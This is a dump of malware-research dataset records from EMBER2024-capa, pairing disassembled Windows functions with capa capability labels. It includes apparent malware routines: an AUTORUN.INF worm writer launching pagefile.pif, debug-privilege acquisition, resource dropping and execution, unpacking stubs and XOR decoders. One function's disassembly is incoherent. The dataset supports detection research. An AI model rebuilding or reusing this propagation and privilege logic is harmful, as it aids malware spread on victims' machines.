joyce8/EMBER2024-capa huggingface dataset:
Function at 0x854d20
Capabilities:
Query or enumerate registry value

Disassembly:
push ecx
mov edx, dword [esp + 8]
push esi
mov esi, dword [esp + 0x10]
lea eax, [esp + 4]
push eax
mov eax, dword [ecx + 4]
push esi
push 0
push 0
push edx
push eax
mov dword [esp + 0x1c], 8
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
je 0x854d58
mov ecx, dword [esp + 0x14]
mov edx, dword [esp + 0x18]
mov dword [esi], ecx
mov dword [esi + 4], edx
pop esi
pop ecx
ret 0x10

Function at 0x854d60
Capabilities:
Query or enumerate registry value

Disassembly:
mov edx, dword [esp + 4]
push esi
mov esi, dword [esp + 0xc]
lea eax, [esp + 0x10]
push eax
mov eax, dword [ecx + 4]
push esi
push 0
push 0
push edx
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
je 0x854d94
mov eax, dword [esp + 0x14]
test eax, eax
je 0x854d94
push eax
push esi
call fcn.0085720b
add esp, 8
pop esi
ret 0x10

Function at 0x854da0
Capabilities:
Query or enumerate registry value

Disassembly:
mov edx, dword [esp + 4]
sub esp, 0x24
lea eax, [esp + 0x28]
push eax
mov eax, dword [ecx + 4]
push 0x20019
push 0
push edx
push eax
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x854e22
push ebx
mov ebx, dword [esp + 0x30]
push esi
xor esi, esi
test ebx, ebx
jbe 0x854e15
push ebp
mov ebp, dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
push edi
mov edi, dword [esp + 0x40]
push esi
lea ecx, [esp + 0x18]
push 0x86d320
push ecx
mov dword [esp + 0x1c], 4
call fcn.00856dff
mov ecx, dword [esp + 0x44]
add esp, 0xc
lea edx, [esp + 0x10]
lea eax, [esp + 0x14]
push edx
push edi
push 0
push 0
push eax
push ecx
call ebp
inc esi
add edi, 4
cmp esi, ebx
jb 0x854dda
pop edi
pop ebp
mov edx, dword [esp + 0x30]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop esi
pop ebx
add esp, 0x24
ret 0xc

Function at 0x854e30
Capabilities:
Query or enumerate registry value

Disassembly:
mov edx, dword [esp + 4]
sub esp, 0x28
lea eax, [esp + 0x2c]
push eax
mov eax, dword [ecx + 4]
push 0x20019
push 0
push edx
push eax
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x854ec2
push ebp
mov ebp, dword [esp + 0x34]
push esi
xor esi, esi
test ebp, ebp
jbe 0x854eb5
push ebx
mov ebx, dword [esp + 0x40]
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
push esi
lea ecx, [esp + 0x1c]
push 0x86d320
push ecx
mov dword [esp + 0x1c], 4
call fcn.00856dff
add esp, 0xc
lea edx, [esp + 0x10]
lea eax, [esp + 0x14]
lea ecx, [esp + 0x18]
push edx
mov edx, dword [esp + 0x40]
push eax
push 0
push 0
push ecx
push edx
call edi
test eax, eax
jne 0x854eab
mov ax, word [esp + 0x14]
mov word [ebx], ax
inc esi
add ebx, 2
cmp esi, ebp
jb 0x854e6a
pop edi
pop ebx
mov ecx, dword [esp + 0x34]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop esi
pop ebp
add esp, 0x28
ret 0xc
Function at 0x855000
Capabilities:
Get file version info

Disassembly:
push ecx
push ebx
mov ebx, dword [esp + 0xc]
push ebp
push esi
lea eax, [esp + 0xc]
push edi
push eax
push ebx
call sub.VERSION.dll_GetFileVersionInfoSizeW
mov esi, eax
test esi, esi
je 0x855131
push esi
call fcn.00858145
add esp, 4
mov edi, eax
push edi
push esi
push 0
push ebx
call sub.VERSION.dll_GetFileVersionInfoW
push 0
push 0x80
push 3
push 0
push 0
push 0xc0000000
push ebx
call fcn.00847080
mov ebp, eax
add esp, 0x1c
cmp ebp, 0xffffffff
je 0x855131
push 0
push ebp
call fcn.008473a0
push 0
push 0
push 0
push 4
push 0
push ebp
mov ebx, eax
call fcn.00847260
add esp, 0x20
mov dword [esp + 0x18], eax
test eax, eax
jne 0x85508b
push ebp
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret
push 0
push 0
push 0
push 6
push eax
call fcn.008472f0
mov esi, eax
add esp, 0x14
test esi, esi
je 0x855121
push 0x86d918
push edi
call fcn.008563f0
push eax
push ebx
push esi
call fcn.00854f60
push 0x86d8f8
push edi
call fcn.008563f0
push eax
push ebx
push esi
call fcn.00854f60
push 0x86d8d8
push edi
call fcn.008563f0
push eax
push ebx
push esi
call fcn.00854f60
push 0x86d8c0
push edi
call fcn.008563f0
add esp, 0x44
push eax
push ebx
push esi
call fcn.00854f60
push 0x86d8a0
push edi
call fcn.008563f0
push eax
push ebx
push esi
call fcn.00854f60
push 0x86d888
push edi
call fcn.008563f0
push eax
push ebx
push esi
call fcn.00854f60
add esp, 0x34
push esi
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
mov ecx, dword [esp + 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push ecx
call esi
push ebp
call esi
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret
Function at 0x8561b0
Capabilities:
Acquire debug privileges

Disassembly:
push ecx
lea eax, [esp]
mov dword [esp], 0
push eax
push 0x20
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [esp]
push 1
push str.SeBackupPrivilege
push ecx
call fcn.00856140
mov edx, dword [esp + 0xc]
push 1
push str.SeDebugPrivilege
push edx
call fcn.00856140
mov eax, dword [esp + 0x18]
push 1
push str.SeRestorePrivilege
push eax
call fcn.00856140
mov ecx, dword [esp + 0x24]
push 1
push str.SeSecurityPrivilege
push ecx
call fcn.00856140
mov edx, dword [esp + 0x30]
add esp, 0x30
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
pop ecx
ret

Function at 0x856bfa
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push esi
lea eax, [ebp - 4]
push eax
push 0x20019
xor esi, esi
push esi
push str.CLSIDADB880A6_D8FF_11CF_9377_00AA003B7A11InprocServer32
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x856c50
lea eax, [ebp - 8]
push eax
push dword [ebp + 8]
mov dword [ebp - 8], 0x104
push esi
push esi
push 0x86887c
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x856c43
inc esi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
jmp 0x856c52
xor eax, eax
pop esi
leave
ret 4
Function at 0x4045c0
Capabilities:
Encode data using xor

Disassembly:
pop esi
push esi
xor dword [esi], ebx
lodsd eax, dword [esi]
add ebx, eax
test eax, eax
jne 0x4045c2
ret

Function at 0x4090c0
Capabilities:
Set socket configuration

Disassembly:
add al, byte [eax - 0x6bf0fd07]
sar dword [ebx], 0xc1
je 0x408df7
mov eax, dword [esi + 4]
cmp al, 0x55
cld
adc dword [edx + edx*2], eax
push 1
push 0xffff
push eax
call dword [0x4016b8]
outsb dx, byte [esi]
clc
dec dword [edi]
invalid
mov ebx, 0x510000ff
call dword [sym.imp.WSOCK32.dll_setsockopt]
cmp eax, 0xffffffff
jne 0x408e58
jmp 0x409065
Function at 0x4019cd
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov eax, 0x404a58
call sub.MSVCRT.dll__EH_prolog
mov eax, 0x13ac
call fcn.004043b0
push esi
push edi
mov edi, ecx
lea eax, [ebp + 8]
mov dword [ebp - 4], 1
push eax
lea eax, [ebp - 0x18]
push 0x407044
push eax
call sub.MFC42.DLL_operator_1
push 0x407040
push eax
lea eax, [ebp - 0x10]
mov byte [ebp - 4], 2
push eax
call sub.MFC42.DLL_operator_2
lea ecx, [ebp + 0xc]
mov byte [ebp - 4], 3
push ecx
push eax
lea eax, [ebp - 0x14]
push eax
call sub.MFC42.DLL_operator
push eax
lea ecx, [ebp + 0xc]
mov byte [ebp - 4], 4
call sub.MFC42.DLL_CString::operator_1
lea ecx, [ebp - 0x14]
mov byte [ebp - 4], 3
call fcn.004041e0
lea ecx, [ebp - 0x10]
mov byte [ebp - 4], 2
call fcn.004041e0
lea ecx, [ebp - 0x18]
mov byte [ebp - 4], 1
call fcn.004041e0
push dword [ebp + 0xc]
lea eax, [ebp - 0x13b8]
push eax
call sub.MSVCRT.dll_strcpy
pop ecx
lea eax, [ebp - 0x2c]
pop ecx
push 0x407054
push 0x4076bc
push eax
call sub.MFC42.DLL_operator_2
mov esi, 0x407064
mov byte [ebp - 4], 5
push esi
push eax
lea eax, [ebp - 0x24]
push eax
call sub.MFC42.DLL_operator_2
push 0x40703c
push eax
lea eax, [ebp - 0x20]
mov byte [ebp - 4], 6
push eax
call sub.MFC42.DLL_operator_2
push esi
push eax
lea eax, [ebp - 0x28]
mov byte [ebp - 4], 7
push eax
call sub.MFC42.DLL_operator_2
mov byte [ebp - 4], 8
push esi
push eax
lea eax, [ebp - 0x1c]
push eax
call sub.MFC42.DLL_operator_2
push str..es
push eax
lea eax, [ebp - 0x30]
mov byte [ebp - 4], 9
push eax
call sub.MFC42.DLL_operator_2
mov esi, 0x407060
mov byte [ebp - 4], 0xa
push esi
push eax
lea eax, [ebp - 0x14]
push eax
call sub.MFC42.DLL_operator_2
push str.xm_
push eax
lea eax, [ebp - 0x10]
mov byte [ebp - 4], 0xb
push eax
call sub.MFC42.DLL_operator_2
push esi
push eax
lea eax, [ebp - 0x18]
mov byte [ebp - 4], 0xc
push eax
call sub.MFC42.DLL_operator_2
mov eax, dword [eax]
push 0
lea ecx, [ebp - 0x13b8]
push 0
push ecx
push eax
mov ecx, edi
mov byte [ebp - 4], 0xd
call fcn.004031c9
lea ecx, [ebp - 0x18]
mov byte [ebp - 4], 0xc
call fcn.004041e0
lea ecx, [ebp - 0x10]
mov byte [ebp - 4], 0xb
call fcn.004041e0
lea ecx, [ebp - 0x14]
mov byte [ebp - 4], 0xa
call fcn.004041e0
lea ecx, [ebp - 0x30]
mov byte [ebp - 4], 9
call fcn.004041e0
lea ecx, [ebp - 0x1c]
mov byte [ebp - 4], 8
call fcn.004041e0
lea ecx, [ebp - 0x28]
mov byte [ebp - 4], 7
call fcn.004041e0
lea ecx, [ebp - 0x20]
mov byte [ebp - 4], 6
call fcn.004041e0
lea ecx, [ebp - 0x24]
mov byte [ebp - 4], 5
call fcn.004041e0
lea ecx, [ebp - 0x2c]
mov byte [ebp - 4], 1
call fcn.004041e0
and byte [ebp - 4], 0
lea ecx, [ebp + 8]
call fcn.004041e0
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 0xc]
call fcn.004041e0
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
leave
ret 8
Function at 0x401bb3
Capabilities:
Get disk information

Disassembly:
mov eax, 0x404a6c
call sub.MSVCRT.dll__EH_prolog
push ecx
push ecx
push ebx
mov ebx, ecx
push esi
push edi
lea ecx, [ebp - 0x10]
call sub.MFC42.DLL_CString::CString
and dword [ebp - 4], 0
and dword [0x408664], 0
push 0x43
pop esi
cmp esi, 0x5a
jge 0x401c1e
push esi
lea eax, [ebp - 0x10]
push str._c:_
push eax
call sub.MFC42.DLL_CString::Format
add esp, 0xc
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
mov edi, eax
push ecx
lea eax, [ebp - 0x10]
mov ecx, esp
mov dword [ebp - 0x14], esp
push eax
call sub.MFC42.DLL_CString::CString_1
mov ecx, ebx
call fcn.00401443
inc dword [0x408664]
inc esi
cmp edi, 1
jne 0x401bda
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x10]
call fcn.004041e0
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
leave
ret

Function at 0x401c39
Capabilities:
Extract resource via kernel32 functions
Write file on windows

Disassembly:
mov eax, 0x404a80
call sub.MSVCRT.dll__EH_prolog
push ecx
push ecx
push ebx
push esi
push edi
push 0x4070a0
xor esi, esi
push 0x91
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov edi, eax
cmp edi, esi
je 0x401cba
push edi
push esi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push edi
push esi
mov dword [ebp - 0x10], eax
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov ebx, eax
cmp ebx, esi
je 0x401cba
push esi
push esi
push 2
push esi
push esi
push 0x40000000
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, esi
je 0x401cba
lea eax, [ebp - 0x14]
push esi
push eax
push dword [ebp - 0x10]
push ebx
call dword [sym.imp.KERNEL32.dll_LockResource]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
push edi
setne bl
call dword [sym.imp.KERNEL32.dll_CloseHandle]
movzx esi, bl
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 8]
call fcn.004041e0
mov ecx, dword [ebp - 0xc]
mov eax, esi
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret 4
Function at 0x4031c9
Capabilities:
Create process on windows
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
push esi
xor esi, esi
push 0x44
lea eax, [ebp - 0x54]
push esi
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0x10]
mov dword [ebp - 0x54], 0x44
push eax
lea eax, [ebp - 0x54]
push eax
push esi
push esi
push 0x20
push esi
push esi
push esi
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
cmp dword [ebp + 0x10], esi
jne 0x403222
push 0xffffffffffffffff
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp dword [ebp + 0x14], esi
je 0x403222
push dword [ebp + 8]
call dword [sym.imp.MSVCRT.dll__unlink]
pop ecx
push esi
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
pop esi
leave
ret 0x10
Function at 0x4034be
Capabilities:
Set file attributes

Disassembly:
mov eax, 0x404c28
call sub.MSVCRT.dll__EH_prolog
sub esp, 0xc
push ebx
push esi
push edi
mov ebx, ecx
and dword [ebp - 4], 0
lea ecx, [ebp - 0x10]
call sub.MFC42.DLL_CString::CString
mov edi, str.pagefile.pif
lea eax, [ebp + 8]
push edi
push eax
lea eax, [ebp - 0x14]
mov byte [ebp - 4], 1
push eax
call sub.MFC42.DLL_operator_2
mov eax, dword [eax]
mov esi, dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 0
push eax
call esi
lea ecx, [ebp - 0x14]
call fcn.004041e0
push ecx
lea ecx, [ebp + 8]
mov eax, esp
mov dword [ebp - 0x18], esp
push edi
push ecx
push eax
call sub.MFC42.DLL_operator_2
push ecx
mov byte [ebp - 4], 2
mov ecx, esp
mov dword [ebp - 0x14], esp
push 0x4076c0
call sub.MFC42.DLL_CString::CString_2
mov ecx, ebx
mov byte [ebp - 4], 1
call fcn.004019cd
lea eax, [ebp + 8]
push edi
push eax
lea eax, [ebp - 0x14]
push eax
call sub.MFC42.DLL_operator_2
mov eax, dword [eax]
push 6
push eax
call esi
lea ecx, [ebp - 0x14]
call fcn.004041e0
mov edi, str.AUTORUN.INF
lea eax, [ebp + 8]
push edi
push eax
lea eax, [ebp - 0x14]
push eax
call sub.MFC42.DLL_operator_2
mov eax, dword [eax]
push 0
push eax
call esi
lea ecx, [ebp - 0x14]
call fcn.004041e0
lea eax, [ebp + 8]
push edi
push eax
lea eax, [ebp - 0x14]
push eax
call sub.MFC42.DLL_operator_2
mov eax, dword [eax]
mov edx, dword [ebx + 0x185]
add ebx, 0x185
push 0
push 0x1001
mov byte [ebp - 4], 3
push eax
mov ecx, ebx
call dword [edx + 0x28]
lea ecx, [ebp - 0x14]
mov dword [ebp - 0x18], eax
mov byte [ebp - 4], 1
call fcn.004041e0
cmp dword [ebp - 0x18], 0
je 0x4035dc
push str._AutoRun__r_nopenpagefile.pif_r_nshellexecutepagefile.pif_r_nshellAutocommandpagefile.pif
lea ecx, [ebp - 0x10]
call fcn.004042d0
mov eax, dword [ebp - 0x10]
mov edx, dword [ebx]
mov ecx, dword [eax - 8]
push ecx
push eax
mov ecx, ebx
call dword [edx + 0x40]
mov eax, dword [ebx]
mov ecx, ebx
call dword [eax + 0x54]
lea eax, [ebp + 8]
push edi
push eax
lea eax, [ebp - 0x18]
push eax
call sub.MFC42.DLL_operator_2
mov eax, dword [eax]
push 6
push eax
call esi
lea ecx, [ebp - 0x18]
call fcn.004041e0
and byte [ebp - 4], 0
lea ecx, [ebp - 0x10]
call fcn.004041e0
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 8]
call fcn.004041e0
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
leave
ret 4
Function at 0x471930
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section..textbs
lea edi, [esi - 0x35000]
push edi
or ebp, 0xffffffff
jmp 0x471952
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x471959
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x471948
mov eax, 1
add ebx, ebx
jne 0x47196b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x471960
jne 0x47197c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x471960
xor ecx, ecx
sub eax, 3
jb 0x471990
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x471a02
mov ebp, eax
add ebx, ebx
jne 0x47199b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x4719a8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x4719cc
inc ecx
add ebx, ebx
jne 0x4719b8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x4719ad
jne 0x4719c9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x4719ad
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x4719ec
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x4719dd
jmp 0x47194e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x4719ec
add edi, ecx
jmp 0x47194e
pop esi
mov edi, esi
mov ecx, 0x53e
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x471a0a
cmp byte [edi], 1
jne 0x471a0a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x471a0f
lea edi, [esi + 0x6e000]
mov eax, dword [edi]
or eax, eax
je 0x471a87
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x72fa4]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x730b4]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x471a3c
mov ecx, edi
jns 0x471a6b
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x730bc]
or eax, eax
je 0x471a81
mov dword [ebx], eax
add ebx, 4
jmp 0x471a59
call dword [esi + 0x730b8]
mov ebp, dword [esi + 0x730c0]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x207]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x471abb
sub esp, 0xffffff80
jmp 0x40d5f0
Function at 0x467760
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, 0x40f015
lea edi, [esi - 0xe015]
push edi
jmp 0x46777a
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x467781
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x467770
mov eax, 1
add ebx, ebx
jne 0x467793
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x4677a4
jne 0x4677c3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4677c3
dec eax
add ebx, ebx
jne 0x4677b0
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x467788
add ebx, ebx
jne 0x4677bf
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x467815
xor ecx, ecx
sub eax, 3
jb 0x4677db
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x46784a
sar eax, 1
mov ebp, eax
jmp 0x4677e6
add ebx, ebx
jne 0x4677e6
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4677b4
inc ecx
add ebx, ebx
jne 0x4677f4
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4677b4
add ebx, ebx
jne 0x467801
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x4677f6
jne 0x467812
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x4677f6
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x467834
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x467826
jmp 0x467776
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x467834
add edi, ecx
jmp 0x467776
pop esi
mov edi, esi
mov ecx, 4
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x467852
cmp byte [edi], 0
jne 0x467852
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x467857
mov ebp, dword [esi + 0x676d4]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x19f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x4678b2
sub esp, 0xffffff80
jmp 0x407c28
Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
mov ebx, 0x408ecc
nop
nop
mov ecx, 0xe3f5e81
test eax, eax
nop
nop
nop
nop
nop
nop
nop
je 0x43004e
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x430024
nop
nop
mov eax, section..rdata
mov ebx, 0x42e1d0
nop
mov ecx, 0x370b1b71
nop
nop
nop
nop
test eax, eax
nop
nop
je 0x430084
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
add eax, 4
nop
nop
nop
cmp eax, ebx
nop
nop
jne 0x43006c
nop
nop
nop
nop
nop
nop
nop
nop
popal
nop
jmp 0x401219

Function at 0x40f080
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, 0x40b015
lea edi, [esi - 0xa015]
push edi
or ebp, 0xffffffff
jmp 0x40f0a2
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x40f0a9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x40f098
mov eax, 1
add ebx, ebx
jne 0x40f0bb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x40f0b0
jne 0x40f0cc
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x40f0b0
xor ecx, ecx
sub eax, 3
jb 0x40f0e0
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x40f152
mov ebp, eax
add ebx, ebx
jne 0x40f0eb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x40f0f8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x40f11c
inc ecx
add ebx, ebx
jne 0x40f108
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x40f0fd
jne 0x40f119
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x40f0fd
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x40f13c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x40f12d
jmp 0x40f09e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x40f13c
add edi, ecx
jmp 0x40f09e
pop esi
mov edi, esi
mov ecx, 0x265
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x40f15a
cmp byte [edi], 2
jne 0x40f15a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov eax, ebx
loop 0x40f15f
lea edi, [esi + 0xd000]
mov eax, dword [edi]
or eax, eax
je 0x40f1ce
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0xf000]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0xf064]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x40f18c
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0xf068]
or eax, eax
je 0x40f1c8
mov dword [ebx], eax
add ebx, 4
jmp 0x40f1a9
call dword [esi + 0xf06c]
popal
jmp 0x40354a